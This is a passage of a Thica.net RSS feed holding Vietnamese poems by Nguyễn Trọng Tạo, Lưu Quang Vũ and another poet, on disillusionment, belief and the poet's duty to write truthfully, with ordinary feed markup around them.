Đà đang xây móng<br />Tờ báo đẫm mồ hôi bỗng sáng dòng tin ngắn:<br />“Nhà máy giấy Bãi Bằng vừa ra mẻ đầu tiên”</p><p>Thời đã qua sẽ chẳng khỏi ngạc nhiên<br />Nếu trở lại bây giờ vẫn quần nâu do phố<br />Thời tôi sống cả đến bầy em nhỏ<br />Diện quần bò nhảy theo điệu nhạc vui…</p><p>Đài thêm nhiều những bài hát yêu nhau<br />Những điệu múa ba-lê hồng hào thêm sân khấu<br />Cái mới đến ngỡ ngàng rồi nhập cuộc<br />Báo bớt trang báo thêm chút thơ tình</p><p>Thơ chưa hay thì thơ nói thật lòng<br />Ai giả dối rồi biết mình lầm lỗi<br />Thời tôi sống có bao nhiêu câu hỏi<br />Câu trả lời thật không dễ dàng chi!&#8230;</p><p>4.<br />Khi đang đắm yêu nào tin được bao giờ<br />Rồi một ngày người yêu ta đổi dạ<br />Rồi một ngày thần tượng ta tan vỡ<br />Bạn bè thân thọc súng ở bên sườn</p><p>Sau cái bắt tay xòe một lưỡi dao găm<br />Kẻ tình nguyện giữ nhà muốn chiếm nhà ta ở<br />Tấm ảnh Mao treo lẫn màu cờ đỏ<br />Tay ta treo đâu nghĩ có một lần!&#8230;</p><p>Như con chiên sùng đạo chợt bàng hoàng<br />Nhận ra Chúa chỉ ghép bằng đất đá<br />Thời tôi sống thêm một lần súng nổ<br />Trái tim đau rỏ máu dọc biên thùy…</p><p>5.<br />Rồi thời gian qua đi rồi tuổi trẻ qua đi<br />Ai sau tôi ở vào thời sắp đến<br />Thời không còn khổ đau thời không còn nghèo túng<br />Đọc thơ tôi xin bạn chớ chau mày.</p><p>Bạn hãy quên đi vất vả những hàng ngày<br />Bao lo lắng đời thường từng làm tuổi xanh ta bạc tóc<br />Chỉ Hy vọng và Niềm tin giúp ta thêm sức lực<br />Câu thơ này xin bạn nhớ giùm cho:<br />Những bông hoa vẫn cứ nở đúng mùa!&#8230;                                                             </p><p><em>Hà Nội, tháng 6.1981</em>  </p><p>The post <a href="https://www.thica.net/2012/07/09/tan-man-thoi-toi-song/">Tản mạn thời tôi sống</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2012/07/09/tan-man-thoi-toi-song/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">8108</post-id>	</item>
		<item>
		<title>Tin thì tin không tin thì thôi</title>
		<link>https://www.thica.net/2011/12/27/tin-thi-tin-khong-tin-thi-thoi/</link>
		<comments>https://www.thica.net/2011/12/27/tin-thi-tin-khong-tin-thi-thoi/#respond</comments>
		<pubDate>Tue, 27 Dec 2011 15:09:35 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Trọng Tạo]]></dc:creator>
				<category><![CDATA[Nguyễn Trọng Tạo]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Niềm tin]]></category>
		<category><![CDATA[Suy ngẫm]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=7428</guid>
		<description><![CDATA[<p>bốn lăm bậc thời gian dốc ngược<br />
tôi đã vượt qua<br />
em cách một sợi tơ<br />
tôi đã không qua được</p>
<p>tin thì tin không tin thì thôi</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2011/12/27/tin-thi-tin-khong-tin-thi-thoi/">Tin thì tin không tin thì thôi</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>bốn lăm bậc thời gian dốc ngược<br />tôi đã vượt qua<br />em cách một sợi tơ<br />tôi đã không qua được</p><p><em>tin thì tin không tin thì thôi</em></p><p>tôi đã tới hang động yến sào tôi đã thèm ăn yến<br />vậy mà chưa được nếm bao giờ<br />hàng quốc cấm<br />nghe nói từ xưa làm vua sướng lắm<br />mà đôi khi tôi cũng sợ làm vua</p><p><em>tin thì tin không tin thì thôi</em></p><p>có anh hề đã nói với tôi<br />đời thằng hề buồn lắm anh ơi<br />và tôi đã khóc</p><p><em>tin thì tin không tin thì thôi</em></p><p>nhưng tôi người cầm bút, than ôi<br />không thể không tin gì mà viết.</p><p><em>tin thì tin không tin thì thôi!</em></p><p>1991</p><p>The post <a href="https://www.thica.net/2011/12/27/tin-thi-tin-khong-tin-thi-thoi/">Tin thì tin không tin thì thôi</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2011/12/27/tin-thi-tin-khong-tin-thi-thoi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">7428</post-id>	</item>
		<item>
		<title>Nói với mình và các bạn</title>
		<link>https://www.thica.net/2010/07/30/noi-voi-minh-va-cac-ban/</link>
		<comments>https://www.thica.net/2010/07/30/noi-voi-minh-va-cac-ban/#comments</comments>
		<pubDate>Fri, 30 Jul 2010 08:21:49 +0000</pubDate>
		<dc:creator><![CDATA[Lưu Quang Vũ]]></dc:creator>
				<category><![CDATA[Lưu Quang Vũ]]></category>
		<category><![CDATA[Bạn bè]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Niềm tin]]></category>
		<category><![CDATA[Thơ]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=4409</guid>
		<description><![CDATA[<p>[...]</p>
<p>Tôi không muốn viết những lời như thế <br />
Tôi không thể viết những lời như thế <br />
Chẳng muốn ai vui lòng khi đọc thơ tôi <br />
Tôi viết những bài thơ chống lại chính tôi <br />
Chống lại bóng đen trì trệ của đời <br />
Chống lại những bài thơ tôi đã viết cùng những ai ưa thích nó <br />
Làm sao đọc thơ tôi anh giận dữ băn khoăn xấu hổ <br />
Cãi lại tôi hay ghét tôi đi nữa <br />
Nhưng anh thôi hờ hững sống bình yên <br />
Tôi xé đi vòng hoa giấy bức màn sương <br />
Những niềm vui dại khờ những nỗi buồn yếu đuối <br />
Cuộc sống còn dở dang <br />
Cần đóng góp không cần ngồi ca ngợi. </p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2010/07/30/noi-voi-minh-va-cac-ban/">Nói với mình và các bạn</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>1<br />Chúng ta tụm năm tụm ba<br />Họp hành, giễu nhau, uống trà, đọc thơ, đi thực tế<br />Ta viết những suy tư ngây ngô vờ là trí tuệ<br />Những câu nhạt phèo chiếu lệ<br />Những lời nhàm tai ai cũng quen rồi<br />Mọi người quanh ta mang nỗi khổ oằn vai<br />Ngực đất nước tai ương xé rách<br />Ta viết mãi những điều vô ích<br />Vô duyên sao ta cứ nhoẻn miệng cười<br />Như phường bát âm thánh thót<br />Mong cuộc đời xuôi tai. </p><p>Tôi không muốn viết những lời như thế<br />Tôi không thể viết những lời như thế<br />Chẳng muốn ai vui lòng khi đọc thơ tôi<br />Tôi viết những bài thơ chống lại chính tôi<br />Chống lại bóng đen trì trệ của đời<br />Chống lại những bài thơ tôi đã viết cùng những ai ưa thích nó<br />Làm sao đọc thơ tôi anh giận dữ băn khoăn xấu hổ<br />Cãi lại tôi hay ghét tôi đi nữa<br />Nhưng anh thôi hờ hững sống bình yên<br />Tôi xé đi vòng hoa giấy bức màn sương<br />Những niềm vui dại khờ những nỗi buồn yếu đuối<br />Cuộc sống còn dở dang<br />Cần đóng góp không cần ngồi ca ngợi. </p><p>2<br />Thơ không phải là chứng minh<br />Không phải hào quang phản chiếu của tấm gương<br />Thơ là bó đuốc đốt thiêu là bàn tay thắp lửa<br />Thơ sinh sự với cuộc đời không cho ai dừng bước cả<br />Càng thương yêu càng không vừa ý với mọi điều<br />Đã qua cái thời nhà thơ nhìn đời bằng con mắt trong veo<br />Con mắt xanh non ngỡ ngàng như mắt trẻ<br />Hát cái lá mùa xuân ca lời chim son sẻ<br />Thơ tươi mát cuộc đời và an ủi lòng ta<br />Nhưng đến nay tất cả đã vỡ ra<br />Giữa tàn bạo hư vô giữa đấu tranh khốc liệt<br />Thơ phải dạy ta nhìn bằng con mắt thật<br />Đập vào ngực ta không cho ta cúi mặt<br />Không cho ta lảng tránh<br />Đập cửa mọi nhà<br />Đứng ở mọi ngã ba<br />Không hát ta say mà lay ta thức<br />Dù ngày mai đời có trăm lần đẹp<br />Thơ vẫn gọi mọi người vươn đến tương lai. </p><p>3<br />Ta đã làm gì? như lũ viết thuê<br />Chạy theo những biển hàng ngắn ngủi<br />Những khuôn phép những trang in những hư danh một buổi<br />Ta nịnh người để người lại khinh ta<br />Sớm già cỗi, cố quên đi phẩm cách<br />Muốn yên thân ta trở thành hèn nhát<br />Nhân dân có cần thơ của ta đâu ?<br />Các bạn tôi hiền lành trong sạch<br />Là bạn nhau thôi chắc là bạn tốt<br />Nhưng bạn ơi ta là những nhà thơ<br />Lòng tốt ở đây chẳng đáng một xu<br />Càng có tài lộc lọc lừa càng nặng<br />Để yên ổn lương tâm ta tìm đến nhau thở than bực dọc<br />Rồi lại về cần cù ngồi viết nhảm<br />Ta an ủi mình đang thời buổi khó khăn<br />Nhưng nào có thời buổi nào không khó<br />Và nếu dễ, cần gì thơ ta nữa ?<br />Nhân dân quá hiền, nhân dân chưa xé bỏ<br />Những ngọt ngào hoa cỏ của ta<br />Những nụ cười ngộ nghĩnh của ta<br />Những trầm tư về thế kỷ của ta<br />Lắm kiểu nói mà giống nhau đến thế<br />Nịnh đời dễ, chửi đời cũng dễ<br />Chỉ dựng xây đời là khó khăn thôi. </p><p>Đừng hiểu sai lòng tôi<br />Làm việc cô đơn thật là quá sức<br />Sau những lúc bông phèn bên các bạn<br />Tôi càng thêm buồn chán đến rùng mình<br />Đã quá nhiều người làm tôi thất vọng<br />Tôi chỉ còn các bạn nữa thôi.<br />Hạnh phúc của tôi là được các bạn mến yêu<br />Là được mến yêu và tin các bạn<br />Thế hệ mình cần những người dũng cảm<br />Dũng cảm yêu thương dũng cảm căm thù<br />Ta đã hẹn cũng nhau đi tới đích<br />Nay rất buồn nếu phải chia xa. </p><p>Nước lũ qua sẽ còn lại phù sa<br />Những tình yêu những ước vọng thiết tha<br />Dẫu bay đi không một lời đáp lại<br />Dẫu trơ trọi trong lạnh lùng bóng tối<br />Dẫu đường dài xa ngái<br />Đừng phút nào mệt mỏi, thơ ta ơi.</p><p>(1970) </p><p>The post <a href="https://www.thica.net/2010/07/30/noi-voi-minh-va-cac-ban/">Nói với mình và các bạn</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2010/07/30/noi-voi-minh-va-cac-ban/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">4409</post-id>	</item>
	</channel>
</rss>
